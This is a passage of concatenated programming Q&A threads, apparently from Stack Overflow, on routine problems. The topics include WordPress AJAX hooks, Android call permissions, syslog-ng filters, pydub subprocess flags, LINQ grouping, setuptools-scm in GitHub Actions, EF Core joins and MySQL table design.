admin-ajax.php uses some action names already, so make sure you look through the file and don't use the same action names, or else you'll accidentally try to do things like delete comments, etc.
EDIT
Put the add_action lines in the functions.php file. The admin-ajax.php file will run some functions and then runs the hook that your 'action' value makes, then kills the script. I've modified the code above to reflect this information.

A: Ok... sorry to use the Answer to add a comment, but it will be much easier to elaborate with the code display here.
So, I have the following in my functions.php:
add_action('wp_ajax_my_unique_action','doMyCustomAjax');

function doMyCustomAjax(){
  $id = ( isset( $_POST['id'] ) ) ? $_POST['id'] : '';
  if( empty( $id ) )
    return;
  echo $id;
}

the following script in footer.php to be executed on my category archive:

and the following at the top of my category.php:

<?php doMyCustomAjax(); ?>

Again my goal is to post that "id" variable once the link is clicked, then retrieve it once the page has been reloaded, in order to end up with a different loop on page refresh.
I'm new to ajax and this type of PHP function so I don't quite understand what's going on here, and obviously I'm missing something / doing something wrong. If you could elaborate a little I'd really appreciate it!
Thx!


text:
Q: Google play market Разрешения с высоким уровнем риска Одна из функция моей программы на OS Android, это определять входящий/исходящий звонок. Для этого в файле Manifest я прописал следующие разрешения :
android.permission.PROCESS_OUTGOING_CALLS
android.permission.READ_CALL_LOG

Эти разрешения Google отнес к разрешениям с высоким уровнем риска. Сам google предоставляет какую-то поверхностную информацию. Просит заполнить какую-то непонятную декларацию, которую я ни разу не прошел. При этом из-за этого можно получить бан. Кто-то написал, что google сделал это для того что бы отфильтровать свой рынок от грязи и всего прочего.
Так же я видел, что можно сделать отдельный модуль, который закачивается после установки программы. Сам я этого не делал, так как немного страшновато сделать что-то не правильно!
Как можно решить эту проблему, кроме как убрать функцию определения входящего/исходящего звонков с программы?
Кто знает, как нужно правильно заполнить декларацию, чтобы получить одобрение во время обновления от googple play market. Поделитесь инфой, PLEASE. Объясните пошагово что, куда и как! Буду очень рад и благодарен!


text:
Q: Problem with annotation after converting from MyEclipse to NetBeans I have tried to convert an MyEclipse project to a NetBeans project.
I have implemented some custom annotations in my project. The annotation processing is enabled and other annotations have no problem.
But when I build my project, it says:
BankBeanInterface.java:16: illegal start of expression
                @ExtraParameter(...

The project is OK when I build it with MyEclipse, but NetBeans throws the exception.
What should I do?
I'm using NetBeans 7.1.


text:
Q: Custom UITextLabel with picker wont display numbers when tapped on Similar to how amazon does for selecting quantity of an item. I want it to then save the number to display in another tableview. Here is the code I have for my .m file. When I click on the text field the picker is empty.
@interface ApparelViewController ()

@property(nonatomic, readonly) NSInteger numberOfComponents;

@end

@implementation ApparelViewController

- (void)viewDidLoad {
[super viewDidLoad];

UIPickerView *picker = [[UIPickerView alloc] init];
self.quantity.inputView = picker;

//creating the arrays for the values in the picker wheel

self.quantity0 = @[@1, @2, @3, @4, @5];

}

//custom picker in text field

-(NSInteger)numberOfComponentsInPickerView:(UIPickerView *)pickerView {
return  1;
}

-(NSInteger)pickerView:(UIPickerView *)pickerView     numberOfRowsInComponent:(NSInteger)component {
return self.quantity0.count;
}

-(NSString *)pickerView:(UIPickerView *)pickerView titleForRow:       (NSInteger)row forComponent:(NSInteger)component {
return self.quantity0[row];
}

-(void)pickerView:(UIPickerView *)pickerView didSelectRow:(NSInteger)row    inComponent:(NSInteger)component {
self.quantity.text = self.quantity0[row];
[self.quantity resignFirstResponder];
}

A: Looks like you forgot to set the UIPicker's delegate to self.
In your viewDidLoad, try this:
picker.delegate = self;


text:
Q: Java runs in IntelliJ IDE but not CMD I've been learning new languages and I just started Java. Literally on my hello_world code. I downloaded the IntelliJ IDE and my code runs fine on there (see below):
The tutorial I'm following shows how to compile and run from the terminal as well so, being used to python I thought it would fairly easy, but I keep getting the same error (see below):
Originally I couldn't even get it to compile, and after lots of digging I saw people with similar problems needed to change their system/user environment variables/paths. I found my .jdks directory and added that to my user path (see below) and that got the compiler working but the code still failed at runtime.
I'm not sure if it's important, but I have already updated my java to the most current update. Any an all advice will be appreciated. Thank you!


text:
Q: How can I make syslog-ng to filter for a user name? I've found a nice feature of the syslog-ng: if I use the logger to log things from the user process, I get the logging user name. Around so:
peterh$ echo test log message|logger

then I get this in /var/log/messages:
Oct 12 16:38:29 thehost peterh: test log message

Where "thehost" is the hostname of the server, and "peterh" is the user name below I gave the command.
Now what I want: I want to collect the log entries of a specific user into a specific file with the syslog-ng.
The bad-looking, but sometimes working features of the syslog-ng to filter the whole log entry didn't work:
# Doesn't work - it doesn't do anything
filter f_peterh { match('peterh'); };
destination d_filter { file("/var/log/peterh.log"); };
log { source(s_src); filter(f_peterh); destination(d_peterh); };

The documentation available manywhere on the net talk about everything from the binary format of the log messages until the related RFCs, except that how can I filter the syslog for user names.
How to do it?

A: I don't know if this is still on going for you, but for reference for anyone else trying to filter by username, this is how I was able to do it.
I created the following filter.
filter sampleUserFilter {
        facility (user) and match ("myUser" value ("PROGRAM"));
};

That allowed me to route messages from a specific user (using logger) to a separate file.


text:
Q: How to run validation on an uploaded file before uploading it all in java? I'm using Spring-mvc and and tomcat 7 - and I need to compose a controller for file uploading.
When the server gets the uploaded file, it needs to run some validation tests before persisting it in the database.
The validation is done using some meta-data which is part of the file (ZIP file).
Thing is, I would like to fail fast... and run the validators on the meta-data before uploading all the file (as it might be very big).
For doing that, I have two options:
1) Expose a validation-url for the client - which can be used when the client tries to upload big files - this is very easy to implement, but doesn't 'feel right' for me.
2) Try to fetch the meta-data before uploading all the file (someone offered to get a stream to the file, and fetch only the meta-data part of it - but I failed to do that...) - Is that possible?
Is there a way to implement the second option?
Thanks


text:
Q: subprocess problem with PyDub: Python 3.63 v Python 3.10 Until recently I've been using python 3.63. When I need to use Pydub's audio_segment I do it like this to avoid a flash of the console when the app is frozen in a pyinstaller exe:
subprocess.STARTUPINFO.dwFlags |= subprocess.STARTF_USESHOWWINDOW
audio = AudioSegment.from_file('path_to_file')

Since moving to Python 3.10 this creates the error:

AttributeError: type object 'STARTUPINFO' has no attribute 'dwFlags'

I have tried adding options like:
creationflags=subprocess.CREATE_NO_WINDOW

and
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
p = subprocess.Popen(conversion_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo)

to pydub itself, but the flash of console is always there.
I've Googled for hours and got nowhere...

A: I finally got to the bottom of this.
A module of pydub called utils.py contains a couple of subprocess calls. I changed the calls from:
command = [prober] + command_args
output = Popen(command, stdout=PIPE).communicate([0].decode("utf-8")

To:
command = [prober] + command_args
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
res = subprocess.Popen(command, startupinfo=startupinfo,
      stdout=subprocess.PIPE, stderr=subprocess.PIPE)

I did the same in the audio_segment.py module.
Plus of course changed: from subprocess import popen, PIPE to import subprocess


text:
Q: What is a more concise way of calculating the offset? This code:
private int GetColumnToPopulate(int columnBase, int offset) {
    int duckbillColNum = 0;
    switch (columnBase) {
        case 0:
            duckbillColNum = 1;
            break;
        case 1:
            duckbillColNum = 5;
            break;
        case 2:
            duckbillColNum = 9;
            break;
        case 3:
            duckbillColNum = 13;
            break;
        case 4:
            duckbillColNum = 17;
            break;
        case 5:
            duckbillColNum = 21;
            break;
        case 6:
            duckbillColNum = 25;
            break;
        case 7:
            duckbillColNum = 29;
            break;
    }
    duckbillColNum += offset;
    return duckbillColNum;
}

...is easy to grok, but verbose and clunky. I would like to streamline it. My pseudocode idea is something like:
int[] colBases
{
    0..7
}
int[] offsets
{
    1,5,9,13,17,21,25,29
}
int idx = colBases.IndexOf(columnBase);
duckbillColNum = offsets[idx];

...or perhaps a multidimensional int array? At any rate, the "IndexOf" business, of course, does not comp[ile,ute].

A: How about:
private int GetColumnToPopulate(int columnBase, int offset) {
   return (columnBase * 4) + 1 + offset;
}

A: Consider using a Dictionary, you could define it like this:
Dictionary<int, int> offsets = new Dictionary<int, int>()
    {
        { 0, 1 },
        { 1, 5 },
        { 2, 9 },
        { 3, 13 },
        { 4, 17 },
        { 5, 21 },
        { 6, 25 },
        { 7, 29 },
    }

And then when using it:
return offsets[columnBase];

A: It seems to me that you should replace the switch with this expression duckbillColNum = columnBase*4 +1; isn't it?

A: This is just a simple mathematical pattern:
private int GetColumnToPopulate(int columnBase, int offset)
{ return 1 + (columnBase * 4) + offset; }


text:
Q: Live sharing Nodejs and Visual studio We run visual studio code as a container in our Nodejs project. I want to implement live sharing for team members on vs code which is run in project.
Is there an open source tools for this propose?
and
How can I do that?


text:
Q: Prevent operators from being inserted into stringstream Disclaimer: I'm terrible with C++;
I'm using a wstringstream to take objects from a vector and format their values into a string that can be stored in a 'file map' ( for IPC ).
std::wstringstream ss;
SDLWrap::frame obs = SDLWrap::getObs();
for (int i = 0; i < obs.pixels.size(); i++ )
{
    SDLWrap::pixel p = obs.pixels[i];
    ss << "{" << p.x << "," << p.y << "," << p.r << "," << p.g << "," << p.b << "}";
}
MemFile::writeMemData(TEXT("Local\\ReflexAIOut"), ss.str(), ss.str().length()*2);

The string is converted into an array of characters (WCHAR) and then put into memory. It seems the operators are also included in the string because the final result includes 3 NUL char's in place of the operators.
<mmap.mmap object at 0x00000185F9A8CF30>
b'{\x000\x00,\x000\x00,\x000\x00,\x000\x00,\x000\x00}\x00{\x000\x00,\x001\x00,\x000\x00,\x000\x00,\x000\x00}\x00{\x000\x00,\x002\x00,\x000\x00,\x000\x00,\x000\x00}...

Is there an easy way to concatenate these values without including the operator? I would like to avoid having to make another loop to remove the extra NUL characters.
Edit: Here's the writeMemData function
bool MemFile::writeMemData(std::wstring memName, std::wstring data, int size)
{
    HANDLE mapFile;
    LPCTSTR buff;

    mapFile = CreateFileMapping(
        INVALID_HANDLE_VALUE,
        NULL,
        PAGE_READWRITE,
        0,
        size,
        memName.c_str());

    if (mapFile == NULL)
    {
        return false;
    }

    buff = (LPTSTR)MapViewOfFile(mapFile,
        FILE_MAP_ALL_ACCESS,
        0,
        0,
        size);

    if (buff == NULL)
    {
        return false;
    }

    CopyMemory((PVOID)buff, data.c_str(), (_tcslen(data.c_str()) * sizeof(TCHAR)));

    UnmapViewOfFile(buff);
    openMem_.push_back(mapFile);
}

A: You are writing to std::wstringstream that is stream of wide (16-bit, or 2-byte in your case*) characters. So for each 1-byte char put into that stream, 2-byte wchar_t comes out:
ss << "{" << p.x << "," << p.y << "," << p.r << "," << p.g << "," << p.b << "}";
//     |     |       |     |       |     |       |     |       |     |       |
//     {\x00 0\x00   ,\x00 0\x00   ,\x00 0\x00   ,\x00 0\x00   ,\x00 0\x00   }\x00

Those NUL bytes are high bytes of 2 byte pairs.
If you want your data encoded in 8-bit encoding, use std::stringstream instead of std::wstringstream.
* - standard does not define exact wchar_t size.


text: Q: Is there a way to make comments in Xcode so that doesn't show in a pull request? I'm working on my team's codebase and taking notes within it to clarify what I don't understand. Obviously I don't want the notes to show up when I make a pull request. Is there a way to type out notes so that it doesn't happen, besides creating a copy of the codebase for note taking purposes? Maybe there's a CocoaPod out there that can do this?


text:
Q: Google Apps Script: how to create an array of values for a given value by reading from a two column list? I have a set of data in a Google spreadsheet in two columns. One column is a list of article titles and the other is the ID of a hotel that is in that article. Call it list1.
Example data
I would like returned a new list with article titles in one column, and an array of the hotel IDs in that article in the other column.  Call it list2.
Example data
There are thousands of lines that this needs to be done for, and so my hope was to use Google Apps Script to help perform this task. My original thinking was to

*

*Create column 1 of list2 which has the unique article titles (no script here, just the G-sheets =unique() formula.

*Iterate through the titles in list2, looking for a match in first column of the list1

*If there is a match:

*

*retrieve its corresponding value in column 2

*push it to an empty array in column two of list2

*move onto next row in list1

*if no longer a match, loop back to step 2.

I've written the following code. I am currently getting a type error (TypeError: Cannot read property '0' of undefined (line 13, file "Code")), however, I wanted to ask whether this is even a valid approach to the problem?
function getHotelIds() {

  var outputSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('list2');
  var lastRow = outputSheet.getLastRow();
  var data = outputSheet.getRange(2,1,lastRow,2).getValues();

  var workingSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('list1');
  var lastActiveRow = workingSheet.getLastRow();
  var itemIDS = [];

  for (var i=1; i<=data.length; i++) {
    var currentArticle = data[i][0];
    var lookupArticle = workingSheet[i][0];
    if (currentArticle === lookupArticle) {
      var tempValue = [workingSheet[i][1]];
      itemIDS.push(tempValue);
    }
  }
}

A: Use a simple google sheets formula:
You can use a very simple formula to achieve your goal instead of using long and complicated scripts.
Use =unique(list1!A2:A) in cell A2 of list2 sheet to get the unique hotels.
and then use this formula to all the unique hotels by dragging it down in column B.
=JOIN(",",filter(list1!B:B,list1!A:A=A2))

A: You got the idea right, but the logic needed some tweaking. The "undefined" error is caused by the workingSheet[i][0]. WorkingSheet is a Sheet object, not an array of data. Also, is not necessary to get the data from list2 (output), it is rather the opposite. You have to get the data from the list1 (source) sheet instead, and iterate over it.
I added a new variable, oldHotel, which will be used to compare each line with the current hotel. If it's different, it means we have reached a different Hotel and the data should be written in list2.
function getHotelIds() {

    var outputSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('list2');
    var outLastRow = outputSheet.getLastRow();

    var workingSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('list1');
    var lastActiveRow = workingSheet.getLastRow();
    var sourceValues = workingSheet.getRange("A2:B" + lastActiveRow).getValues();

    var itemIDS = [];
    var oldHotel = sourceValues[0][0]; //first hotel of the list

    for (var i = 0; i < sourceValues.length; i++) {

        if (sourceValues[i][0] == oldHotel) {

            itemIDS.push(sourceValues[i][1]);
            /*When we reach the end of the list, the oldHotel variable will never be different. So the next if condition is needed. Otherwise it wouldn't write down the last Hotel.
            */
            if (i == sourceValues.length - 1) {
                outputSheet.getRange(outLastRow + 1, 1, 1, 2).setValues([
                    [sourceValues[i][0], itemIDS.toString()]
                ]);
            }

        } else {

            outputSheet.getRange(outLastRow + 1, 1, 1, 2).setValues([
                [sourceValues[i - 1][0], itemIDS.toString()]
            ]);
            oldHotel = sourceValues[i][0]; //new Hotel will be compared
            outLastRow = outputSheet.getLastRow(); //lastrow has updated
            itemIDS = []; //clears the array to include the next codes
        }
    }
}

I also converted the itemIDS array to a String each time, so it's written down in a single cell without issues.

Make sure each column of the Sheet is set to "Plain text" from Format > Number > Plain Text

References

*

*getRange

*setValues

*toString()


text:
Q: Extract Census Blocks using Block Centroid that falls within Buffer in R After creating buffer zones, I want to select a subset of Census Block IDs whose Centroids fall within the buffer zones. I have successfully built the data for all the Blocks and the designated Buffers, but I am confused by the literature (Geocomputation in R) on how to intersect the two datasets. I began with the following:
library(tigris)
library(sf)
library(tidyverse)
options(tigris_class = "sf")
options(tigris_use_cache = TRUE)
library(tidycensus)
census_api_key("123456")
library(haven)
library(foreign)
library(dplyr)
library(raster)

metro_blocks <- function(cbsa_code) {

  st <- states(cb = TRUE)
  cb <- core_based_statistical_areas(cb = TRUE)
  metro <- dplyr::filter(cb, grepl(cbsa_code, CBSAFP))

  stcodes <- st[metro,]$STATEFP

  tr <- rbind_tigris(
    map(stcodes, function(x) {
      blocks(x , year=2000)
    })
  )

  within <- st_within(tr, metro)

  within_lgl <- map_lgl(within, function(x) {
    if (length(x) == 1) {
      return(TRUE)
    } else {
      return(FALSE)
    }
  })

  output <- tr[within_lgl,]

  return(output)

}

# Pull dataset of blocks
blocks <- metro_blocks(47900)

blockst <- st_transform(blocks, 3488)

example <- data.frame(lat=numeric(), long=numeric())
example[1,] <- c(38.78309, -77.07458)
example[2,] <- c(39.44192, -77.40667)
example[3,] <- c(39.41428, -77.41073)

example_sf <- st_as_sf(example, coords=c("long", "lat"), crs=4326) %>% st_transform(3488)

# 1 mile = 1.6 km
# 5 mile = 8.0 km
example_5mi <- st_buffer(example_sf, dist=8000)

ggplot() + geom_sf(data=blocks[0]) + geom_sf(data=example_5mi[0], col="red", fill=NA)

Now I'd like to extract only the blocks (specifically column BLKIDFP00) that fall inside the Buffer Zones. Ultimately, I want a dataset that has every pair of BLKIDFP00, Buffer Points.


text:
Q: How to perform a join in c# .net core Entity Framework using I have this relation ship.

In both of this model I have a navigation properties, however I still don't know how to use them.
The Customer Model
 public class Customer
{
    public int Id { get; set; }
    [Required]
    public string FirstName { get; set; }
    [Required]
    public string LastName { get; set; }
    [Required]
    public int CustomerGroupId { get; set; }
    public CustomerGroup CustomerGroup { get; set; }

}

Customer Group Model
public class CustomerGroup
{
    public int Id { get; set; }
    public string Name { get; set; }
    public List<Customer> Customers { get; set; }
}

I want to display a list of customers along with their customer group name.
I have this query but its only giving the customer groups list but not the customers.

Changes to new query executing.

what im getting as a return

The CustomerGroup is null.

A: If you want both groups and their customers, you need to tell EF to include the navigation property:
db.CustomerGroups.Include(g => g.Customers).ToListAsync()

A: Get all customers and in the view, when you loop through the list of customers , simply access the CustomerGroup navigational property of each item.
var customers = db.Customers.ToList();
return View(customers);

and in the view
@model List<Customer>
@foreach(var c in Model)
{

@c.FirstName

@c.CustomerGroup.Name

}

Make sure your CustomerGroup property is virtual
public class Customer
{
    public int Id { get; set; }
    [Required]
    public string FirstName { get; set; }
    [Required]
    public string LastName { get; set; }
    [Required]
    public int CustomerGroupId { get; set; }
    public virtual CustomerGroup CustomerGroup { get; set; }
}

Keep in mind that this will do lazy loading. To do eager loading (a single query to get everything), you may consider using a view model and project to that.
So create a view model
public class CustomerVm
{
  public string FirstName { set;get;}
  public string GroupName { set;get;}
}

and in your GET action project your LINQ query result to a collection of this view model.
 var customerVms = db.Customers
                    .Select(x=> new CustomerVm { FirstName = x.Name,
                                                 GroupName =x.CustomerGroup.Name})
                    .ToList();
 return View(customerVms );

Make sure your view is now strongly typed to a list of CustomerVm's.
@model List<CustomerVm>
@foreach(var c in Model)
{

@c.FirstName

@c.GroupName

}

Add other properties to your view model as needed by the view.
Take a look at this post for understanding the difference between eager loading vs lazy loading


text:
Q: How can I pas another object's function as a selector in IOS? I've read selector as parameter in IOS post. However, I want to extend the question.
In my case, I'm creating an Objective-C (not Swift) Master/Detail application, and want to create DetailController object of type UIViewController with the following init function
In DetailViewController.h
@interfact DetailViewController : UIViewController
- (id)initWithNibName:(NSString *)nibName withSaveSelector:(SEL)saveSelector
@end

... and in DetailViewController.m
- (id)initWithNibName:(NSString *)nibName withSaveSelector:(SEL)saveSelector
{
  self = [super initWithNibName:nibName bundle:nil];
  if (self) {
        UIBarButtonItem *done = [[UIBarButtonItem alloc]
                                 initWithBarButtonSystemItem:UIBarButtonSystemItemDone
                                 target:self
                                 action:saveSelector];
        [[self navigationItem] setRightBarButtonItem:done animated:YES];
  }
  return self;
}

NOW, I want to just keep re-using above code to create different DetailViewControllers, and want to pass a saveSelector function that will get called when the user presses the "Done" button.
Now I have another view controller
@interface AnotherViewController : UIViewController
- (void)saveSelector:(id)sender;
@end

...and then in yet another object (i.e., NOT in AnotherViewController.m code), I use the above view controller, like so...
AnotherViewController *avc = [[AnotherViewController alloc] init];
DetailViewController *dvc = [[DetailViewController alloc] initWithNibName:@"AnotherViewController" withSaveSelector:@selector(???)];

What should I put in the ??? so I can pass AnotherViewController::saveSelector() function to DetailViewController?
I hope that makes sense.

A: Change your method as:
- (id)initWithNibName:(NSString *)nibName withSaveSelector:(SEL)saveSelector forTarget:(id)target

And call it like this:
DetailViewController *dvc = [[DetailViewController alloc] initWithNibName:@"AnotherViewController" withSaveSelector:@selector(saveSelector:) forTarget:avc];

In DetailViewController.m
- (id)initWithNibName:(NSString *)nibName withSaveSelector:(SEL)saveSelector  forTarget:(id)target
{
  self = [super initWithNibName:nibName bundle:nil];
  if (self) {
        UIBarButtonItem *done = [[UIBarButtonItem alloc]
                                 initWithBarButtonSystemItem:UIBarButtonSystemItemDone
                                 target:target
                                 action:saveSelector];
        [[self navigationItem] setRightBarButtonItem:done animated:YES];
  }
  return self;
}


text:
Q: Python automatic versioning not happening while running in github actions I was trying to push the package from the CI directly to pypi after successful build.
I have tried couple of tools, say "setuptools-scm", everything works well and i get automatic version change based on my tagging like package-0.0.2.post11-py3-none-any.whl in my local.
When i push the same code as part of github actions (command Run python3 setup.py sdist bdist_wheel) i dont see the versions getting updated and i always get package-0.0.0-py3-none-any.whl
Below is the snippet of setup.py
setuptools.setup(
    name="package",
    use_scm_version=True,
    setup_requires=['setuptools_scm']

ymlfile:
 publish:
    name: Build and publish Python  distributions  to PyPI and TestPyPI
    runs-on: ubuntu-18.04
    steps:
    - uses: actions/checkout@v2
    - name: Set up Python 3.8
      uses: actions/setup-python@v2
      with:
        python-version: 3.8
    - name: Install scm version
      run: >-
        python -m
        pip install
        setuptools-scm==4.1.2
    - name: Install wheel
      run: >-
        python -m
        pip install
        wheel==0.34.2
    - name: Build a binary wheel and a source tarball
      run: >-
        python3 setup.py sdist bdist_wheel
    - name: Publish distribution  to Test PyPI
      uses: pypa/gh-action-pypi-publish@master
      with:
        password: ${{ secrets.test_pypi_password }}
        repository_url: https://test.pypi.org/legacy/
    - name: Publish distribution  to PyPI
      if: startsWith(github.ref, 'refs/tags')
      uses: pypa/gh-action-pypi-publish@master
      with:
        password: ${{ secrets.pypi_password }}

pyproject.toml
# pyproject.toml
[build-system]
requires = ["setuptools>=42", "wheel", "setuptools_scm[toml]>=3.4"]
[tool.setuptools_scm]
write_to = "pkg/version.py"

I am not clear what i am doing wrong here, Can any one help to fix this ?
Thanks

A: the action - uses: actions/checkout@v2 is not fetching the tags along while checking out. Had to additionally add below lines to fetch the tags from git
publish:
    name: Build and publish Python  distributions  to PyPI and TestPyPI
    runs-on: ubuntu-18.04
    steps:
    - uses: actions/checkout@v2
    - name: Fetch all history for all tags and branches
      run: git fetch --prune --unshallow
    - name: Set up Python 3.8
      uses: actions/setup-python@v2
      with:
        python-version: 3.8
    - name: Install scm version
      run: >-
        python -m
        pip install
        versiontag
    - name: Install wheel
      run: >-
        python -m
        pip install
        wheel==0.34.2

A: As kbk said, a shallow copy (one commit) of the repo is checked out by default. Unless the last commit has a tag, tag-based automatic versioning tools have nothing to work with.
Since the actions/checkout merged Pull Request #258 Fetch all history for all tags and branches when fetch-depth=0, you can use fetch-depth: 0 option with actions/checkout@v2 to fetch a complete history (including tags) and enable setuptools-scm to correctly deduce version names.
  steps:
  - uses: actions/checkout@v2
    with:
      fetch-depth: 0
  - name: Set up Python 3.8
    uses: actions/setup-python@v2
      with:
        python-version: 3.8

Unfortunately, this can be slow for large repos and there's an open issue with actions/checkout #249 to address this.


text:
Q: Getting the sum of a value in Linq Given the following structure...
class Foo {

  public string Category { get; set; }
  public string Code { get; set; }
  public int Quantity { get; set; }

}

I am trying to use Linq to summarise a list of these objects by Category and Code, so that if I provide the following source...
List<Foo> foos = new List<Foo>() {
  new Foo {Category = @"A", Code = @"B", Quantity = 1},
  new Foo {Category = @"A", Code = @"B", Quantity = 2},
  new Foo {Category = @"C", Code = @"D", Quantity = 3},
  new Foo {Category = @"C", Code = @"D", Quantity = 4}
};

I end up with a list containing...
  Foo {Category = @"A", Code = @"B", Quantity = 3},
  Foo {Category = @"C", Code = @"D", Quantity = 7}

(where Quantity is the sum of the original quantities of matching objects).
I know I need to use a combination of the group by clause and the Sum() extension methods, I just do not seem to be able to find that correct combination.
Please note, there is no database behind this list, I am doing this purely with objects so extracting the original list including the sum is not an option.
Thanks.

A: var query = foos
            .GroupBy(x => new { x.Category, x.Code })
            .Select(g => new Foo
                {
                    Category = g.Key.Category,
                    Code = g.Key.Code,
                    Quantity = g.Sum(x => x.Quantity)
                });

A: LINQ Merging results in rows is very similar:-
        var result = foos
            .GroupBy( foo => new
            {
                foo.Category,
                foo.Code
            } )
            .Select( fooGroup => new Foo
            {
                Category = fooGroup.Key.Category,
                Code = fooGroup.Key.Code,
                Quantity = fooGroup.Sum( foo => foo.Quantity )
            } );

A: You want to group by both the category and the code, so you'll want an anonymous type for that - then just sum the quantities. You can do this in a single call to GroupBy if you use the right overload:
var query = list.GroupBy(
    item => new { item.Category, item.Code },
    (key, group) => new Foo { Category = key.Category,
                              Code = key.Code,
                              Quantity = group.Sum(x => x.Quantity) });

If you want to do this with a query expression, you can use:
var query = from item in list
            group item by new { item.Category. item.Code } into items
            select new Foo { Category = items.Key.Category,
                             Code = items.Key.Code,
                             Quantity = items.Sum(x => x.Quantity) });


text:
Q: odoo inheritance of view element without name or id In odoo I try to change the recruitement form, but some of the stuctural elements dont have a name or id. When I change those elements it works fine initially, but when I upgrade the database then the rendering of the xml is stricter for some reason and gives an ParseError.
The recruitement form:
                <sheet>

<field name="name" placeholder="e.g. Sales Manager"/>

                    <notebook>
                        <page string="Job Description">

                                <field name="description" type="html"/>

                        </page>
                        <page name="description_page" string="Description">
                          <field name="description" type="html"/>

                        </page>
                        <page string="Recruitment">
                            <group>
                                <group name="recruitment">
                                    <field name="company_id" options="{'no_create': True}" groups="base.group_multi_company"/>
                                    <field name="department_id"/>
                                </group>
                                <group>
                                    <field name="no_of_recruitment"/>
                                </group>
                            </group>
                        </page>
                    </notebook>
                </sheet>

As you can see; the sheet, notebook, pages and groups mostly dont have a name. The string attribute is also not sufficient to modify with a expression in xpath. So it feels like I'm just stuck with this framework.
What I try:
        <xpath expr="//sheet/notebook" position="replace">
            <notebook>
                <page name="description_page" string="Description">
                    <field name="description" type="html"/>

                </page>
                <page string="Recruitment">
                    <group>
                        <group name="recruitment">
                            <field name="branch_concept" />
                            <field name="branch" />
                            <field name="department_id" />
                        </group>
                        <group>
                            <field name="no_of_recruitment"/>
                        </group>
                    </group>
                </page>
            </notebook>
            </xpath>

And this works until I do a db upgrade, then I get a parseError.
Does anybody know I can use my own structure?

A: In the xpath expression you use //<some_node> to 'Selects nodes in the document from the current node that match the selection no matter where they are'. You can also use /<some_node>/<some_other_node> to locate a specific element.
for example /form/sheet/notebook/page[1]


text:
Q: What is the fastest way to group my records? My site shows collections of links on different subjects. These links are divided into two types: web and images. My database will have millions (probably more than ten million) of these records. When the page loads, I need to show the user the web and image links for the particular subject of that page. So the first question is:

*

*Do I create two separate, smaller tables, one each for the web and image links, and then make a query to each, or do I create one huge table (with correct indexes) for both and make one query. Where will I get better performance? Should the one table and one query be more efficient, then my next question is:

*What would be the most efficient way to subdivide the two types for presentation? Should I use group by, or should I use php to divide my result array into the two types?
TIA!

A: You can get similar performances using a table for all objects, or one for links or websites. If you have two separate tables, doing a UNION of the results would return all of the results you needed.
The main reason to divide the results is whether they are really different (from your application point of view). That is, if you are going to end up using a lot of queries like
select * from objects where type='image';

then it might make sense to have two tables.
Then using group by is not a way of grouping the different results, it is a way of aggregating them.
So, for instance, you can use
select type, count(*) from objects group by type

to get
| image |  100000 |
| web   | 2000000 |

but it will not return the objects separated. To get them "grouped", you can either use a query for each one, or use an ordering and then have the logic in the application to divide the results.

A: It depends on how web data is close to img data. If data is basically made of the link, one table fits better, having a column to differentiate between web and data (and possibly others later, like css, js ...)
Links: (id, link, type)

adding an index on type or type link will help the grouping (by type), and the matching search by (type, link).
If however, web and img data are different in such a way that you don't want to mix apples and oranges, like
Web: (wid, wlink, rating, ...)
Img: (iid, ilink, width, height, mbsize, camera, datetaken, hasexif...)

in this case, besides the link both tables don't have much in common. Image links and web links being different, there is not even a "gain" when having a same link for both kinds of data. Another advantage (which is also possible with one table, but makes more sense here) is to link both kinds of data in another table
 Relations: (wid,iid)

that allows to maintain the relation between web sites and images, since an image may be used by several web sites, and web sites use several images. Indexing on wid and on iid.
My preference goes to the two tables (with optional Relations link).
Regarding queries from PHP, using UNION you can obtain the data from two tables in one query.

A: It's possible you'll get slightly better performance from just one table, but this decision should be primarily guided by whether the nature of data or constraints is different or not.
There is another (more important from the performance perspective) decision you'll have to make: how do you want to cluster the data (all InnoDB tables are clustered)?
If you want to have an excellent performance getting all the links of a given page, use an identifying relationship, producing a natural key in the link table(s):

The LINK table is effectively just a single B-tree, with the page PK1 at its leading edge, which physically groups together the rows that belong to the same page. The following query can be satisfied by a simple index range scan and minimal I/O:
SELECT URL
FROM LINK
WHERE PAGE_ID = <whatever>

If you used separate tables, you can just have two different queries. Many client APIs support executing two queries in a single database round-trip. If PHP doesn't, you can UNION the two queries to save one database round-trip:
SELECT *
FROM (
    SELECT 1 LINK_TYPE, URL
    FROM IMAGE_LINK
    WHERE PAGE_ID = <whatever>
    UNION ALL
    SELECT 2, URL
    FROM WEB_LINK
    WHERE PAGE_ID = <whatever>
)
ORDER BY LINK_TYPE

The above query will give you...
LINK_TYPE  URL
1          http://somesite.com/foo.jpeg
1          http://somesite.com/bar.jpeg
1          http://somesite.com/baz.jpeg
...
2          http://somesite.com/foo.html
2          http://somesite.com/bar.html
2          http://somesite.com/baz.html
...

...which will be very easy to separate at the client level.
If you didn't use separate tables, you can them separate the URLs by their extension at the client level, or introduce an additional field in the LINK PK: {PAGE_ID, LINK_TYPE, URL}, which should make the following query very efficient:
SELECT LINK_TYPE, URL
FROM LINK
WHERE PAGE_ID = <whatever>
ORDER BY LINK_TYPE

Note that the order of fields in the PK matters, so placing the LINK_TYPE at the end would prevent the DBMS from just doing the index range scan.

1 Whatever it may be; I just used the PAGE_ID as an example.

A:
Do I create two separate, smaller tables or one huge table?

Go for one table.

What would be the most efficient way to subdivide the two types for presentation?

Depends on the certain search criteria.


text:
Q: matplotlib: can I create AxesSubplot objects, then add them to a Figure instance? Looking at the matplotlib documentation, it seems the standard way to add an AxesSubplot to a Figure is to use Figure.add_subplot:
from matplotlib import pyplot

fig = pyplot.figure()
ax = fig.add_subplot(1,1,1)
ax.hist( some params .... )

I would like to be able to create AxesSubPlot-like objects independently of the figure, so I can use them in different figures. Something like
fig = pyplot.figure()
histoA = some_axes_subplot_maker.hist( some params ..... )
histoA = some_axes_subplot_maker.hist( some other params ..... )
# make one figure with both plots
fig.add_subaxes(histo1, 211)
